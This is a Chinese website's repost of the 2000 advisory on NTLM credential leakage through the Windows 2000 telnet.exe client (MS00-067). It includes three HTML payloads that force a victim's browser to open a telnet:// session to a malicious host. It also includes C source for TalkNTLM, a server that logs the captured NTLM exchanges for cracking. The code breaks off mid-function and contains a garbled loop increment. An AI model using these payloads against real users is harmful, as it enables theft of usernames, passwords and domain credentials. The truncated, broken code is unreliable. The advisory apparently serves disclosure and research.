微软Windows 2000中telnet.exe的NTLM认证漏洞
2008-04-09 04:32:07来源:互联网 阅读 ()
发布日期:2000-09-15
更新日期:2000-09-15
受影响系统:
描述:
Microsoft Windows NT 2000
微软Windows 2000发行时自带的telnet客户端(telnet.exe)在默认情况下使用Windows NT的
Challenge/Response(NTLM)作为认证方法。当与主机建立连接时,telnet客户端试图通过NTLM进
行认证,而不管主机是否为Windows telnet服务器。因此有可能监视NTLM challenge/response认
证的会话过程,并将其破解,这会导致敏感信息的暴露,如用户名、密码、域名等。众所周知NTLM
challenge/response协议容易被暴力破解,一个名为“L0phtcrack”的工具演示了这种暴力破解。
强制远程机器启动一个telnet会话是轻而易举的事情,因为Microsoft Internet Explorer、
Outlook (Express)、Netscape Navigator等产品在遇到带有“telnet://”前缀的URL时会自动打
开默认的telnet客户端(通常是telnet.exe)。下面几个例子说明了如何在指定的恶意的服务器上
启动一个telnet会话:
1)
<html>
<frameset rows="100%,*">
<frame src=about:blank>
<frame src=telnet://target>
</frameset>
</html>
2)
<html>
<head>
<meta http-equiv="refresh" content="0;URL=telnet://target">
</head>
</html>
3)
<script>window.open("telnet://target")</script>
<* 来源:DilDog (dildog@atstake.com)
Monti (monti@ushost.com)
Microsoft Security Bulletin (MS00-067)
*>
测试方法:
警 告
以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!
在服务器上运行下面的程序,在命令行中指定监听端口和日志文件,然后从Windows 2000上运行telnet.exe,连接该程序监听的端口。在服务器上会看到会话过程的记录。
<!--StartFragment-->/* TalkNTLM - NTLM Logging Telnet Server
* dildog@atstake.com
* 8/14/00
* Copyright (C) 2000 @stake, Inc.
*/
#include<stdio.h>
#include<string.h>
#include<unistd.h>
#include<stdlib.h>
#include<ctype.h>
#include<sys/socket.h>
#include<sys/types.h>
#include<sys/wait.h>
#include<netinet/in.h>
#include<arpa/inet.h>
#define MAJOR_VERSION 1
#define MINOR_VERSION 0
#define IAC 255 /* interpret as command: */
#define DONT 254 /* you are not to use option */
#define DO 253 /* please, you use option */
#define WONT 252 /* I won't use option */
#define WILL 251 /* I will use option */
#define SB 250 /* interpret as subnegotiation */
#define SE 240 /* end sub negotiation */
#define AUTH 37
#define IS 0
#define SEND 1
#define REPLY 2
#define NAME 3
#define NTLM 15
#define ACCEPT 1
typedef enum {
METHOD_NONE=0,
METHOD_TELNET
} METHOD;
typedef enum {
SUBMETHOD_NONE=0,
SUBMETHOD_LOG,
} SUBMETHOD;
#define COMMSOCK_BUFSIZ 2048
FILE *g_fCommSock;
char g_CommSockBuf[COMMSOCK_BUFSIZ];
void error(const char *str)
{
fflush(stdout);
fprintf(stderr,str);
fflush(stderr);
}
unsigned char getb(void)
{
unsigned char b=0;
fread(&b,1,1,g_fCommSock);
return b;
}
unsigned short getdwl(void)
{
unsigned short s=0;
s|=((unsigned short)getb());
s|=((unsigned short)getb())<<8;
return s;
}
unsigned long getddl(void)
{
unsigned long l=0;
l|=((unsigned long)getb());
l|=((unsigned long)getb())<<8;
l|=((unsigned long)getb())<<16;
l|=((unsigned long)getb())<<24;
return l;
}
void putb(unsigned char c)
{
fwrite(&c,1,1,g_fCommSock);
}
void putdwl(unsigned short w)
{
putb(w&255);
putb((w>>8)&255);
}
void putddl(unsigned long d)
{
putb(d&255);
putb((d>>8)&255);
putb((d>>16)&255);
putb((d>>24)&255);
}
void putarrb(int n, unsigned char *b)
{
int i;
for(i=0;i<n;i ) {
putb(b[i]);
}
}
void putarrc(int n, char *c)
{
putarrb(n,(unsigned char *)c);
}
void putflush(void)
{
fflush(g_fCommSock);
}
void debugb(unsigned char c)
{
fprintf(stderr,"%d\t\t%X\t'%c'\n\r",c,c,(isalnum(c)?c:' '));
}
int listenport(int port, struct sockaddr_in *rsaddr)
{
// Create socket
int s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
if(s<0) {
error("couldn't create socket.\n");
标签:
版权申明:本站文章部分自网络,如有侵权,请联系:west999com@outlook.com
特别注意:本站所有转载文章言论不代表本站观点,本站所提供的摄影照片,插画,设计作品,如需使用,请与原作者联系,版权归原作者所有
IDC资讯: 主机资讯 注册资讯 托管资讯 vps资讯 网站建设
网站运营: 建站经验 策划盈利 搜索优化 网站推广 免费资源
网络编程: Asp.Net编程 Asp编程 Php编程 Xml编程 Access Mssql Mysql 其它
服务器技术: Web服务器 Ftp服务器 Mail服务器 Dns服务器 安全防护
软件技巧: 其它软件 Word Excel Powerpoint Ghost Vista QQ空间 QQ FlashGet 迅雷
网页制作: FrontPages Dreamweaver Javascript css photoshop fireworks Flash